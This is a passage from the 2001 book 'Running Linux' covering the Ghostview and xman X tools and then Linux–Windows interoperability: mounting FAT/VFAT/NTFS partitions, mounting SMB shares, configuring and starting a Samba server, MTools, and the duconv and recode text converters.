Like most X applications, Ghostview offers both menu options and keys (accelerators) for common functions. Thus, to view the next page, you can pull down the Page menu and choose the Next option. Or you can just press the space bar.

To go back to the previous page, choose Previous from the Page menu. To go to any page you want, press the middle mouse button on its number in the number column. To exit, choose Quit from the File menu or just press q.

Documents from different countries often use different page sizes. The Ghostview default is the standard U.S. letter size (this can be overridden by comments in the PostScript file). You can specify a different size on the command line:

eggplant$ ghostview -a3 article.ps

or in your .Xdefaults file:

Ghostview*pageMedia:            A3

Finally, you can also choose a different size at runtime from the Media menu.

Ghostview lets you enlarge or reduce the size of the page, a useful feature for checking the details of your formatting work. (But be warned that fonts on the screen are different from the fonts on a printer, and therefore the exact layout of characters in Ghostview will not be the same as that in the hard copy.) To zoom in on a small part of the page, press any mouse button on it. (The right mouse button enlarges the most; the left mouse button the least.)

You can also change the default size for displaying the whole document by using the Magstep menu. The higher the number you choose, the more the document is enlarged. Negative numbers reduce the size of the document.

To print a page, choose Print from the File menu or press p anywhere in the window. You are prompted to make sure that you've chosen the right printer; you can erase what is shown there and enter a different name. The name shown comes from your environment. So, if your printer is named doorway, you should have issued a shell command in your startup file like:

export PRINTER=doorway

You can also print several pages. Select individual ones by clicking on their numbers with the middle mouse button. Or select the first page with the left mouse button, and the last page with the right mouse button; the whole range of pages will be printed when you press p.

NOTE

KDE comes with its own version of Ghostview, called kghostview, which is really just Ghostview with a more user-friendly interface and a nicer appearance. You can run kghostview even if you do not plan to run the rest of KDE.

Another option would be to use gv, which has become quite popular lately.

11.4.9. xman: A Point-and-Click Interface to Manual Pages

Manual pages, read through the man command, are the ultimate authority on a Unix system. Other books can describe a significant percentage of any given command's functions--and often describe them in a more readable fashion--but only the manual page has all the details. See the section "Section 4.12, "Manual Pages"" in Chapter 4, "Basic Unix Commands and Concepts" for basic information.

Now there's a simple X interface to manual pages: the xman command. As befits a tool that displays documents, it contains a pretty good description of itself. In order to see this documentation clearly, start up the program with a large page size:

eggplant$ xman -pagesize 650x600

What you see first is a tiny box with three buttons. Click on the Manual Page button to bring up the main screen, where you'll do most of your work.

Now you see the xman documentation. You'll have plenty of time to read this; for now, just pull down the Options menu and choose Search, or press Ctrl-S. (You can also display the options menu by holding down the Control key and pressing the left mouse button.) In the box that pops up, type in a command or function you'd like to read about, then press the Enter key. The contents of the main window are replaced by the corresponding manual page.

If you don't know what to look for, try pulling down the Sections menu or pressing the Control key along with the middle button. Choose a section from the menu that appears. You'll see a long list of manual pages. Click the left button on one of them, and the document will be displayed.

Another time-honored way to look for information is through the apropos command (discussed already in the section "Section 4.12, "Manual Pages"" in Chapter 4, "Basic Unix Commands and Concepts"). Press Ctrl-S again, type in a word about a subject you're interested in, and press the Apropos button. If any manual pages match that word, their names will be displayed along with short descriptions. Unfortunately, you can't call up their manual pages by clicking on them; that little convenience was left out of xman. You have to press Ctrl-S and type in the page that looks interesting.

Within a manual page, scrolling is easy. Use the space bar or f to move down a page, b to move up. You can also use the scrollbar, just as in xterm.

Now you can read the documentation! Press the Help button on the small window that appeared when you started xterm. To exit the program, press Ctrl-Q or the Quit button, or choose Quit from the Options menu.

If you think that xman is still too bare-bones and not much of an improvement over the command-line man command, you can try one of its more advanced companions. For example, tkman has a much nicer user interface and features advanced navigation possibilities. The KDE help system, kdehelp, can display manual and info pages in addition to its own HTML pages and thus unifies the three major documentation formats on Linux.

Previous | Home | Next
11.3. The K Desktop Environment | Book Index | 12. Windows Compatibility and Samba
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Windows Compatibility and Samba (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 12. Windows Compatibility and Samba

Contents:

Sharing Files
Sharing Programs

Linux is a remarkably effective operating system that normally replaces MS-DOS/Windows. However, there are always those of us who want to have their cake and eat it, too. We want to continue to use other operating systems as well as Linux, or at least to exchange files directly with them. Linux satisfies such yearnings with internal enhancements that allow it to access foreign filesystems and act on their files, with compatibility utilities that allow it to invoke MS-DOS to run DOS applications, or with a utility that allows Linux to run Xenix binaries without recompiling. The most outstanding tool for getting Linux and Windows to cooperate is Samba, which we'll discuss in enough depth to help you get a basic, functional server running.

Samba is the package that lets you access Unix files and printers from Windows, and it is one of the most famous Open Source programs of all. People have found that Unix servers running Samba can--depending on the circumstances--serve Windows computers faster than even Windows servers can! In addition, Samba has proven to be very stable and reliable.

We use the term Windows somewhat generically in this chapter to refer to any of the DOS-based operating systems coming from Microsoft or those compatible with them, like MS-DOS, PC-DOS, and DR-DOS/Novell DOS (all with or without Windows 3.x running on top of them), as well as the various Windows versions themselves, no matter whether they build upon a separate DOS installation like the venerable Windows 3.x or whether they have a DOS kernel built in like Windows 95 and Windows 98. It should be added that Windows NT/2000 is a completely different animal; many of the things described here will not work with these, or will work differently. Your mileage may vary.

Some of these utilities work well, while others are perhaps "not ready for prime time." These tools allow many who otherwise couldn't find out about Linux to try it out without first abandoning their reliable working platform or without buying a second computer to play with.

You should be a little skeptical of some dreams of compatibility though. Just because something can be done, doesn't mean it is a great idea. As a practical matter, you might find, for example, that you need twice the disk storage in order to support two operating systems and their associated files and applications programs, plus file conversion and graphic-format conversion tools, and so on. You may find that hardware tuned for one OS won't be tuned for the other, and you will have to choose where to spend your cash.

If you find yourself stuck with a piece of hardware that you would like to use because of its Windows support (like a USB device), but for which there are no Linux drivers yet, do not despair. The desire to have everything will probably continue to drive Linux developers, so we confidently expect that for each hardware device that is supported on Windows, there will at one point or other be a driver for Linux, too. For example, there is already work going on with respect to USB devices; see http://video.komm.hdk-berlin.de/~rasca/uusbd-utils/ for more information.

One of the first and foremost things you probably want to do with Linux and Windows is install both of them on your computer and decide at boot time which of the two you want to boot. The section "Section 5.2, "Booting the System"" in Chapter 5, "Essential System Management", tells you what to do in order to get a multiboot system.

The next thing you will want to do is share files between Windows and Linux, a topic which we will explore in the next section. You will find out that this works smoothly for most cases nowadays, if you know the tricks of the trade.

Finally, we cover tools that let you (at least partly) run some of your DOS and Windows programs on Linux. We will be leaving the highway here and follow quite stony roads, but as always, those offer the most exciting sights.

12.1. Sharing Files

When you install both Windows and Linux on your computer, you will often wish you could access files on one operating system that you saved with the other operating system. While there are few, if any, ways to get at your Linux files from Windows on the same machine, it is surprisingly easy to access your Windows files from Linux. Linux can read and write files on the traditional FAT filesystem and the newer VFAT filesystem, which was introduced with Windows 95 and supports long filenames. It can read (and eventually will be able to write to) the NTFS filesystem of Windows NT.

In some cases, it can be even easier to access your files over the network using Samba. If you run Linux on one machine and a version of Windows with built-in networking, like Windows for Workgroups or the newer Windows versions 95/98 and NT, you will probably be able to exchange files between the two machines.

Getting at your data is only half the match, though. You must also be able to make sense out of it. You might be surprised to hear that you can have problems even with the simplest file format, raw text--let alone more elaborate file formats like those saved by graphics programs or word processors.

12.1.1. Mounting DOS, VFAT, and NTFS Partitions

If you have already read the section "Section 6.1.2, "Mounting Filesystems"" in Chapter 6, "Managing Filesystems, Swap, and Devices", you know by now that you access partitions on local hard disks by "mounting" them into your directory hierarchy. In order to be able to read and write to a specific filesystem, the Linux kernel needs to have support for this filesystem.

In the section "Section 7.4, "Building a New Kernel"" in Chapter 7, "Upgrading Software and the Kernel", you learned how to build your own kernel. In order to be able to access DOS (used by MS-DOS and Windows 3.x) and VFAT (used by Windows 95 and Windows 98) partitions, you need to enable DOS FAT fs support in the filesystems section during kernel configuration. After you say yes to that option, you can choose MSDOS fs support and VFAT (Windows-95) fs support. The first lets you mount FAT partitions and the second lets you mount VFAT partitions. VFAT support is relatively recent; it appeared first in kernel Version 2.0.34, but really became stable only with recent kernel versions.

While Linux is running, you can then mount a Windows partition like any other type of partition. If, for example, the third partition on your first SCSI hard disk contains your Windows 98 installation, you can make those files accessible with the following command, which must be executed as root:

mount -t vfat /dev/sda3 /mnt/windows98

The /dev/sda3 option specifies the disk drive corresponding to the Windows 98 disk, while the /mnt/windows98 option can be changed to any directory you've created for the purpose of accessing the files. But how do you know that you need--in this case--/dev/sda3 ? If you're familiar with the arcane naming conventions for Linux filesystems (shown in Table 3-1), you'll know that sda3 is the third partition on the first SCSI hard disk, but you'll find life easier if you write down the partitions while you are creating them with fdisk.

Of course, you are free to choose other mount points than /mnt/windows98. If you want to mount a FAT partition, you do the same, but replace vfat with msdos in the previous command.

Both the msdos and the vfat filesystem driver support a number of options that can be specified with the -o option of the mount command, but in most cases, you will not need them. The man page tells you all the options. There are, however, two options that might be useful for you: check and conv.

The option check determines whether the kernel should accept filenames that are not permissible on MS-DOS and what it should do with them. Obviously, this applies only to creating and renaming files. You can specify three values for check: relaxed lets you do just about everything with the filename. If it does not fit into the 8.3 convention of MS-DOS files, the filename will be truncated accordingly. normal, the default, will also truncate the filenames as needed, but not accept special characters like * and ? that are not allowed in MS-DOS filenames. Finally, strict forbids both long filenames and the special characters. In order to make Linux more restrictive with respect to filenames on the partition mounted above, the mount command could be used as follows:

mount -o check=strict -t msdos /dev/sda5 /mnt/dos

Obviously, the restrictions of the filename length do not apply to vfat filesystems.

The second option that is potentially useful, but not quite ready for most users is conv. Windows and Unix systems have different conventions for how a line end is marked in text files. Windows uses both a carriage return and a linefeed character, while Unix only uses the linefeed. While this does not make the files completely illegible on the other system, it can still be a bother. To tell the kernel to perform the conversion between Windows and Unix text file styles automatically, you need to pass the mount command the option conv. conv has three possible values: binary, the default, does not perform any conversion; text converts every file; and auto tries to guess whether the file in question is a text file or a binary file. Auto does this by looking at the filename extension. If this extension is included in the list of "known binary extensions," it is not converted, otherwise it will be converted.

It is not advisable to use text, because this will invariable damage any binary files, including graphics files and files written by word processors, spreadsheets and other programs. Likewise, auto can be dangerous, because the extension-based detection mechanism is not very sophisticated. So we'd suggest you don't use the option. Stick with binary (the default) and convert your files on an as-needed basis.

If you want to access files on a Windows NT partition that carries an NTFS filesystem, you need another driver. Activate the option NTFS filesystem support during the kernel configuration. This lets you mount NTFS partitions by specifying the file system type ntfs. Note, however, that the current NTFS driver supports just read-only access. There is an alpha version of a driver available that supports writing as well, and so far, it has worked for us quite nicely, but we do not advise using this without backing up your NTFS partition first!

12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network

So far, we have covered how to access Windows partitions on the same machine. In this section, we will extend this discussion to partitions (which in this context are often called shares) that reside on other servers. In Windows versions, starting with Windows for Workgroups, you can make directories or printers accessible for other computers. The protocol used for this feature is called SMB (Server Message Block). With the SMB support in Linux, you can access these directories from Linux. Note that the Windows machines must be configured to use TCP/IP in addition to or instead of the native Windows protocol NETBEUI, because the Linux SMB support does not include NETBEUI. Of course, your Linux machine must be set up for TCP/IP networking as well; see Chapter 15, "TCP/IP and PPP", to learn how to do that. For now, we will assume that a TCP/IP connection can be established between your Linux and your Windows computer.

In this section, we cover sharing in one direction: how to access files on Windows systems from Linux. The next section will show you how to do the reverse, and make selected files on your Linux system available to people on Windows systems.

In order to get SMB support running, you have to follow these steps:

  1. Compile support for SMB into your kernel.

  2. Install Samba (described in the next section) and create at least a minimal configuration file.

  3. Mount the services with the smbmount command.

Let's go through these steps one at a time. The first one is easy: In the filesystems/Network File Systems section during kernel configuration, select SMB file system support (to mount WfW shares etc.). Compile and install your kernel, or install and load the module. If you plan to mount shares from a Windows 95 server, you should also select SMB Win95 bug work-around, which works around in bug in showing directories on a Windows 95 share. You don't need this if you are accessing shares only on a Windows 98 or Windows NT machine and should leave it off in this case because it slows down directory reading.

Next, you will need to install the Samba package. This package is meant for providing (not accessing) SMB shares, but its package contains one utility program and one configuration file you will need. If you do not have it on your machine (check whether the file /etc/smb.conf exists), please read the next section to learn how to get it.

You will learn about how to write the configuration file /etc/smb.conf in the next section, but for our purposes here, it suffices to have the following content:

[global]
socket options = TCP_NODELAY

There may be other configuration parameters in the [global] section; this parameter does not need to be the first. If you already have a smb.conf, there can be other socket options too. Don't let yourself be bothered by that; just make sure that you have the TCP_NODELAY option, as this speeds up directory reading a lot.

The last thing to do is to mount the partition (which in the Windows world is called a share). Unlike the partition types described in the last section and unlike the Network File System, you do not use the familiar mount command, but a special command from the Samba package called smbmount. This is because SMB shares have a different addressing scheme. Accordingly, you use smbumount for unmounting an SMB share.

If you are lucky, using smbmount can be quite easy. The general format is:

smbmount options servicename mount_point

where mount_point specifies a directory just as in the mount command. servicename follows more or less the Windows naming conventions, except that it replaces the backslashes with slashes. For example, if you want to mount a SMB share from the computer called winloser that is exported under the name mydocs onto the directory /windocs, you could use the following command:

tigger# smbmount //winloser/mydocs/ /windocs

You can also specify a directory below the exported root if you want to mount only a part of the share. For example, suppose we didn't want to share everything in the mydocs directory of the previous example, but just a subdirectory under it called htmldocs. We could say:

tigger# smbmount //winloser/mydocs/htmldocs /windocs
 If a password is needed to access the share, smbmount will ask you for it.

As we previously wrote, if you are lucky, the preceding steps could be everything you need. But if you are unlucky, things could get messy here. If you do not know much about how Windows computers handle networking, you might want to seek help from the person who has set up the Windows machine where the files that you are trying to access are.

The most common problem is that in the SMB protocol, machines can have two different hostnames: the normal hostname and a NetBIOS name. While having two names might not be a good idea anyway, you will not be able to simply mount a SMB share with the previous commands if the two differ. If you know the NetBIOS name, you can pass it with the -s option:

tigger#smbmount -s nbname //winloser/mydocs/ /windocs

Another thing to try is to tell smbmount about the IP address of the machine exporting the SMB share. This is done with the -I option (see Chapter 15, "TCP/IP and PPP" to learn about IP addresses). If the server has the IP address 192.168.0.5, you could try the following command:

tigger# smbmount -I 192.168.0.5 //winloser/mydocs/ /windocs

Please see the manual page for smbmount for further tricks to try.

One problem with the smbmount command is that is does not really tell you what went wrong. For hints on what the problem is, try the utility program smbclient, which also comes from the Samba package. smbclient lets you copy files to and from a SMB share and list its directory contents, and it has the advantage of providing a little more detailed error messages. See the manual page for smbclient for further details. If you can access a SMB share with smbclient, but not with smbmount, it is very likely that either SMB support is not available in the kernel or that the mount point cannot be accessed, that is, that the problem has nothing to do with the network.

12.1.3. Using Samba to Serve SMB Shares

You probably want to access Linux files from Windows, in addition to accessing Windows files from Linux as we did in the previous section. For instance, a safe and popular networking strategy is to locate user's critical files in Unix home directories and serve them up to the users on their PCs.

A warning before you plunge into the wonderful world of Samba: NetBIOS, the underlying protocol for SMB, is quite complex, and because Samba has to deal with all those complexities, it provides a huge number of configuration options. Thus, if you are really serious about serving a department of 50 employees that use all kinds of Windows and perhaps even OS/2 machines, you are well advised to read the Samba documentation thoroughly and perhaps even read a good book about Samba.

That being said, I can reassure you that for the not-so-complex cases, setting up Samba is surprisingly easy, both as a file and as a print server. In addition, there is a small tool that helps you check your configuration file for errors.

Setting up Samba involves the following steps:

  1. Compile and install the Samba programs if they are not already present on your system.

  2. Write the Samba configuration file smb.conf and check it for correctness.

  3. Start the two Samba daemons smbd and nmdb.

If you successfully set up your system, the directories you select will appear in the browse lists of the Windows users on your local network--normally accessed by clicking on the Network Neighborhood icon on Windows. The users on those systems will be able to read and write files according to your security settings just as they do on their local systems.

12.1.3.1. Installing Samba

Most Linux distributions nowadays contain Samba, and you can install it simply by choosing an option when installing Linux. If your distribution doesn't have Samba, you can get it from ftp://ftp.samba.org. It comes with installation instructions. Follow those instructions and build the package. During the configuration, you will have to decide where the configuration file smb.conf should reside. We will assume here that you pick /etc/smb.conf. If you choose a different location, you will have to substitute that location in the following description.

The next step is to create a smb.conf file that is suitable for your system. There are graphical configuration tools available for Samba, including the nifty, web-based SWAT (Samba Web Administration Tool), but as always, it's good to know what goes on under the hood in case the graphical configuration tools get things wrong.

Samba comes with several sample configuration files that you can simply take and adapt to your situation. But it is not difficult to write one from scratch, either. In this section, we will assume that you want to provide your unfortunate Windows colleagues with the home directories of your machine, your printers, and a CD-ROM drive mounted on /cdrom--a quite common setup.

The format of the smb.conf file is like the one used by Windows 3.x: there are entries of the type:

key = value

which are put into groups. A group starts with a line like the following:

[groupname]

Each directory or printer you share is called a service in Windows networking terminology. You can specify each service as a separate group name, but we'll show you some ways to simplify the configuration file and support lots of services in a few lines. One special group called [global] contains parameters that apply to all services. While Samba literally understands hundreds of parameters (keys), it is very likely that you will need to use only a few of them, because most of them have reasonable defaults. If you are curious which keys are available or are looking for a special parameter, you can check the manual page smb.conf.

For starters, we will now create a minimal smb.conf that looks as follows:

workgroup = your workgroup

[homes]
guest ok = no
read only = no

This does not do much yet, but it serves two purposes: You can check your Samba installation, and you can get used to a test tool called testparm that is used to check the validity of your smb.conf file.

We assume here that you have already started the Samba daemons as described later. If your distribution contains Samba, and you have opted to install it during the installation, this might already have been done for you.

You can now test your Samba installation by issuing a command like the following (replace TIGGER with the hostname of your computer in capitals):

tigger# nmblookup TIGGER
Added interface ip=192.168.0.3 bcast=192.168.0.255 nmask=255.255.255.0
Sending queries to 192.168.0.255
192.168.0.3 TIGGER

You should get an output similar to the previous example. If you don't get it, here are some things to check:

  • Check whether Samba can find your smb.conf file. If you installed Samba during the installation of your Linux system, you should check the documentation of your distribution for the location where the Samba package is looking for its configuration file. A common place is /etc/smb.conf, but others are possible as well. If you have compiled Samba yourself, you might have specified during the configuration where Samba should look for smb.conf and hopefully remember this location now. If you did not make any changes to the setup files while building and installing Samba, the configuration file is being searched for in /usr/local/samba/lib/smb.conf.

  • Check whether smbd and (more important for this test) nmbd are in fact running.

  • Samba might not have autodetected the network interface to use. Try adding a line like:

    interfaces = your IP address

    to your smb.conf file to tell Samba explicitly which interface to use.

  • nmbd might not be able to find out the NetBIOS name (which by default is the hostname in capitals). You can try stopping your nmbd and restarting it with the option -n, followed by the NetBIOS name.

Once you see a successful result from the nmblookup command, you can start to explore what you get from the sample smb.conf file we shipped. Short as it is, it's sophisticated enough to let Samba serve home directories. Check the service with the command smbclient, which is like a small FTP client for SMB servers. Try the following (replacing TIGGER with your hostname in capitals and kalle with your user name):

tigger$ smbclient \\\\TIGGER\\kalle
Added interface ip=192.168.0.3 bcast=192.168.0.255 nmask=255.255.255.0
Server time is Thu Mar 11 23:49:53 1999
Timezone is UTC+1.0
Password:
Domain=[THE TIGERS] OS=[Unix] Server=[Samba 1.9.16p10]
smb: \>

Samba asks for your password and then "logs you in" to your home directory. Since that's probably where you issued the smbclient command from anyway, you have not gained much, but now you know that your Samba installation really works, and you can continue tuning your installation.

The program testparm, checks your smb.conf for errors and inconsistencies. A run should look roughly as follows:

tigger$ testparm
Load smb config files from /etc/smb.conf
Processing section "[homes]"
Loaded services file OK.
Press enter to see a dump of your service definitions

testparm tells you where it is looking for the configuration file, which services it has found, and whether it has found any errors in the configuration file. If it does not report Loaded services file OK., it will tell you the errors so that you can correct them and try again.

After succeeding in reading the configuration file, testparm offers to show you all service definitions. This is a lengthy list of all services defined together with all their parameters, not only the parameters you specified, but also those that are defaulted. Since the output can be very, very long, we won't bother repeating it here, but it can be very useful for you to check whether the parameters are really as you expect them to be.

12.1.3.2. Configuring Samba

Now that you have a rudimentary Samba installation, we can look at a more full-blown smb.conf:

[global]
   workgroup = The tigers
   guest account = nobody
   keep alive = 30
   printing = bsd
   printcap name = /etc/printcap
   load printers = yes
   print command = /usr/bin/lpr -r -P%p %s
   lpq command = /usr/bin/lpq -P%p
   lprm command = /usr/bin/lprm -P%p %j
   preserve case = yes
   short preserve case = yes
   case sensitive = no

[homes]
   comment = Home directory
   browseable = yes
   read only = no
   create mode = 0750

[usr]
   comment = /usr
   browseable = yes
   read only = no
   create mode = 0750
   directory = /usr

[cdrom]
   comment = Linux CD-ROM
   path = /cdrom
   read only = yes
   locking = no

[printers]
   comment = All Printers
   browseable = yes
   printable = yes
   public = no
   read only = yes
   create mode = 0700
   directory = /tmp

We will not cover every single line here, but go through everything that is important for you to set up your own Samba server.

First, you need to know that there are three sections that are special: [global], [homes], and [printers]. Samba treats those sections slightly differently from the others. The section [global] contains parameters that apply to all services. For example, workgroup specifies the workgroup the Samba server is supposed to be in. If you have Windows networking experience, you might already know that in Windows networking, all computers belong to a certain workgroup and can access services only from computers in the same workgroup. Therefore, you have to make sure that you enter the same workgroup here as the one you entered on your Windows machines.

guest account is important only if you allow guest access to services. A guest is anyone on your network who has no account on your system; you may want to provide a special directory for them in the same way that some sites provide anonymous FTP access. In this case, the account specified here will provide the rights for the guest. keep alive specifies the interval in which the server checks whether a client connected to it is still alive and responding. This value can be between 0 (no checks) and 60 seconds. If your network is reliable enough, you can afford to set this to 0.

For now, we'll skip a few parameters that apply to printing services and cover them later. preserve case, short preserve case, and case sensitive specify how Samba should handle the fact that filenames on Unix systems are case sensitive while those on Windows are case insensitive. The settings shown in the previous example have proven very useful when you want to read and write files from both Unix and Windows, because they keep the case when saving (by default, everything would be saved with lowercase characters), but when looking for a file, matching is done without regard to case, as expected by Windows.

The following sections describe services that the Samba server provides to its clients. We'll start with [usr] and [cdrom] here, because those are straightforward entries applying to individual services. ([homes] and [printers] are special cases covering a number of services).

The group [usr] makes a directory available to Windows. In this case, the directory is named /usr, but naming the service after the directory is just an administrative convenience. Because the service is named usr, it will show up in the users' browse lists (Network Neighborhood) that way. You could also have named the service clinton by describing it in the group [clinton], but in that case the service would be announced as clinton to the clients in the Network Neighborhood window.

To make sure our share is visible in the browse list, we have set the value of the browsable parameter to yes. If we had not set this, you could still access the service, but you would have to know what it is called and could not access it via the browse list. read only specifies, of course, whether the clients may write to the directory tree provided by this service. Note that even if this value is no, users still need the usual Unix permissions to be able to read and write anything from that service. create mode specifies the permissions that files newly created by a client on this service will get. directory specifies the root of the directory tree to be exported by this service. Note that whether it is useful to export /usr to Windows machines depends on what you have stored there. If you keep only Linux programs and their utility files there, this is not useful, of course. Finally, comment specifies a string that is shown in the Properties dialog in Windows or in the detail view.

The service cdrom makes the Linux CD-ROM drive accessible to Windows clients. It has about the same format as usr, but of course specifies read only = yes, because you cannot write to a CD-ROM. locking = no means that Samba will not use locks to prevent one user from overwriting the files of another user; in this case the value makes sense because nobody can write to a CD-ROM and locking wastes time.

Now let's go to the more interesting sections. The section [homes] is special, because it does not describe a single service but a number of possible services. Use it to give each of your users a directory of his own that can be accessed from Windows systems on your LAN.

Each user to whom you want to offer a directory should have an account on your system; to make configuration easy, make the account name and the home directory the same as the login name the user has on the Windows network. All you need after that is a properly configured Samba with a [homes] section like the one shown in our example.

Whenever a user on a Windows client connects to the service, Samba checks the user name and asks for the password (which is then entered in a Windows dialog) and provides the home directory of the user. Thus, when a connection is set up, Samba creates a so-called virtual service for the home directory of the user in question. This is very useful, because you do not have to tell Samba explicitly about new users when you add them to your Unix system: once a user account is created and has a home directory, the user can access this home directory from Windows.

This leaves us with the printing services. You can configure each printer that is configured on your Linux box separately, but in general, it is much easier to use the [printers] section. Just as [homes] specifies a number of file access services (each home directory), [printers] specifies a number of printing services: access is allowed to each printer configured in /etc/printcap. As explained in "Section 8.4, "Managing Print Services"" in Chapter 8, "Other Administrative Tasks", the printcap file lists all the printers on your system and how they are accessed.

For the [printers] section to work, you need to set load printers = yes in the [global] section, which tells Samba to read /etc/printcap to see which printers are available. Other important values in the global section with respect to printing are printing, which specifies the type of printer service your Linux box uses (normally bsd, the default) and printcap name, which tells Samba where your printer capabilities or printcap file is located. On Linux, the printer capabilities files is almost always /etc/printcap, which is also the default used by Samba. If you use the alternative LPRng printing system, you must specify lprng here. There are other possibilities that are less likely to be used on Linux listed in the smb.conf manual page.

You also need to specify in the [global] section which commands Samba can use to send files to the printer. These commands are simply those that would be issued on the command line by a user on your system, with placeholders (macros) beginning with % to refer to filenames and other changing parameters. The values shown in the example are crafted for a BSD printing system and are probably useful for you, too. They make use of a number of macros that Samba expands automatically when reading the configuration file: %p specifies the printer name, %s the name of the file to print and %j the job number of the print job. For more macros, please see the smb.conf manual page.

Most parameters in the [printers] section have already been explained, but there remains a very important one: printable = yes tells Samba that this section specifies printing services and not file services. Printer services should always be set to read-only, otherwise malicious users could interfere with other users' print jobs. The directory parameter specifies where Samba should store the temporary printing files.

Note that setting up the printing service on the Samba side is not enough to be able to print from Windows. You also need to configure a printer on all Windows clients and use a suitable printer driver for the printer in question. Samba supports the automatic installation of printer drivers onto Windows 95 and Windows 98 machines; read the manual page smb.conf for further details (look for the printer driver file option).

After you have made changes to your Samba configuration file, it is always a good idea to check the syntax with testparm, at least to ensure you haven't introduced a spelling or syntax error. You will probably also want to look at the values testparm outputs for all the parameters. There is also a tiny program called testprns that checks the validity of printer names, but it is not as helpful as testparm.

Normally, the Samba daemons smbd and nmbd should automatically reread the configuration file when it has been changed, but this does not always work correctly. You can always send the daemons the HUP signal to make them reread the smb.conf file, though:

tigger# killall -HUP smbd
tigger# killall -HUP nmbd

We have covered only a small number of the hundreds of options that Samba provides, but with the facts given here, you should already be able to set up file and printing services for Windows clients for a lot of situations, and you can always read up on further details in the Samba documentation.

12.1.3.3. Starting Samba

Depending on your distribution, there may already be a script to start the Samba service. In this case, it is best to use that script. For example, on Red Hat systems, you can start the Samba server (provided that you have installed the Samba package) with:

tigger# /etc/rc.d/smb start

and shut it down with:

tigger# /etc/rc.d/smb stop

On SuSE, the smb daemon is located by default in /sbin/init.d/smb instead of /etc/rc.d/smb, on Debian, it is /etc/init.d/samba.

If you have installed Samba yourself, you have two options. You can either have the Samba daemons started by inetd or simply start them from the command line.

Since the latter is used more often and is better for testing, we describe that option here. The manual pages for smbd and nmbd describe how to use inetd.

To run Samba from the command line, simply start the daemon by entering the following commands (assuming that you have installed the Samba daemons in /usr/sbin):

tigger# /usr/sbin/nmbd
tigger# /usr/sbin/smbd

Once you know that your Samba server works, you should start the daemons with the option -D which tells them to detach themselves from the shell they were started from, the normal mode of operation for a daemon:

tigger# /usr/sbin/nmbd -D
tigger# /usr/sbin/smbd -D

This also allows you to close the shell without killing the daemons.

The Samba daemons have a number of other options, but you can probably do without them; if necessary, you will find all the information in the manual pages. We have only touched the surface here of what Samba can do, but this should already give you an impression why Samba--despite being not specifically developed for Linux--is one of the software packages that have made Linux famous.

12.1.4. Utilities for Accessing DOS Filesystems: MTools

Most Linux users who want to run Linux programs on Windows files can do so simply by mounting their Windows partitions as we described earlier in the section "Section 12.1.1, "Mounting DOS, VFAT, and NTFS Partitions"." Once you set up the mount correctly, you can use standard shell commands to move around in the directories and run vi, Perl scripts, or whatever other programs you know and love.

Before Linux contained support for nonnative file systems, a set of programs called MTools was quite important. It was a collection of simple commands that let you manipulate Windows directories and files while running Linux. Now, the main use we've found for MTools is to access Windows-formatted floppy disks, because MTools remove the need to mount the floppy disk just to read a file from it. Using Windows-formatted floppy disks can be a very useful and efficient way to transport smaller amounts of data from a Windows machine to a Linux machine and back if the two are not networked.

Here are summaries of the MTools utilities; they are further documented in manual pages that are part of the distribution:

mattrib

Changes attributes of a Windows file

mcd

Changes to a Windows directory

mcopy

Copies files from Linux to Windows or from Windows to Linux

mdel

Deletes a Windows file

mdir

Displays a Windows directory

mformat

Creates a Windows FAT filesystem on a floppy

mlabel

Writes a Windows disk volume label to a Windows partition
mmd

Creates a Windows directory

mrd

Removes a Windows directory

mread

Reads a Windows file to Linux

mren

Renames a Windows file

mtype

Displays the contents of a Windows file
mwrite

Writes a Linux file to Windows

12.1.5. File Translation Utilities

As we already mentioned, one of the most prominent problems when it comes to sharing files between Linux and Windows is that the two systems have different conventions for the line endings in text files. Luckily, there are a few ways to solve this problem:

  • If you access files on a mounted partition on the same machine, let the kernel convert the files automatically as described in the section "Section 12.1.1, "Mounting DOS, VFAT, and NTFS Partitions"" earlier in this chapter. Use this with care!

  • Sophisticated editors like Emacs can handle the conversion automatically at either load or save time for you.

  • There are a number of small tools available that convert files from one line-end convention to the other. Some of these tools can also handle other conversion tasks as well.

We will look here at two of the small utilities mentioned here: duconv and recode.

duconv is a tiny program available with most distributions that converts the line-ends and can also convert some special characters used in European languages from their DOS encoding to their Unix encoding. Note that the latter is not necessary with text files written on newer versions of Windows (like Windows 95 and Windows 98), because Windows uses the same encoding for those special characters as Unix does, the international standard ISO Latin-1, also known as ISO 8859-1.

In order to convert a Windows text file to a Unix text file, call duconv as follows:

duconv -u dos_text_file unix_text_file

To convert the other way around (from Unix to Windows), use the option -d:

duconv -d unix_text_file dos_text_file

duconv is a nice little utility, but if you need something more full-blown, you should go for the GNU project's recode. This is a program that can convert just about any text-file standard to any other text-file standard. recode isn't as easy to use as duconv, however.

The normal way to use recode is to specify both the old and the new character sets (encodings of text file conventions) and the file to convert. recode will overwrite the old file with the converted one; it will have the same file name. For example, in order to convert a text file from Windows to Unix, you would enter:

recode ibmpc:latin1 textfile

textfile is then replaced by the converted version. You can probably guess that to convert the same file back to Windows conventions, you would use:

recode latin1:ibmpc textfile

In addition to ibmpc (as used on Windows) and latin1 (as used on Unix), there are other possibilities available, among others latex for the LaTeX style of encoding diacritics (see Section 9.3.1, "TeX and LaTeX") and texte for encoding French email messages. You can get the full list by issuing:

recode -l

If you do not like recode 's habit of overwriting your old file with the new one, you can make use of the fact that recode can also read from standard input and write to standard output. To convert dostextfile to unixtextfile without deleting dostextfile, you could do:

recode ibmpc:latin1 < dostextfile > unixtextfile

With the two tools just described, you can handle text files quite comfortably, but this is only the beginning. Things are less easy when it comes to other files. For example, pixel graphics on Windows are usually saved as bmp files, which are very uncommon on Unix. Fortunately, there are a number of tools available that can convert bmp files to graphics file formats like xpm that are more common on Unix. Among these are the shareware image viewer and manipulation package xv, which is probably included with your distribution.

Things become even more hairy when it comes to proprietary file formats like those saved by office productivity programs. While the various incarnations of the doc file format of the Word for Windows word processor have become a de facto lingua franca for word processor files on Windows, until recently, it was hardly possible to read those files on Linux. Fortunately, a number of software packages have appeared lately that can read (and sometimes even write) those files. Among those are the word processor WordPerfect, the office productivity suite StarOffice, and the office productivity suite ApplixWare. Be aware though, that these conversions will never be perfect; it is very likely that you will have to edit the files by hand afterwards.

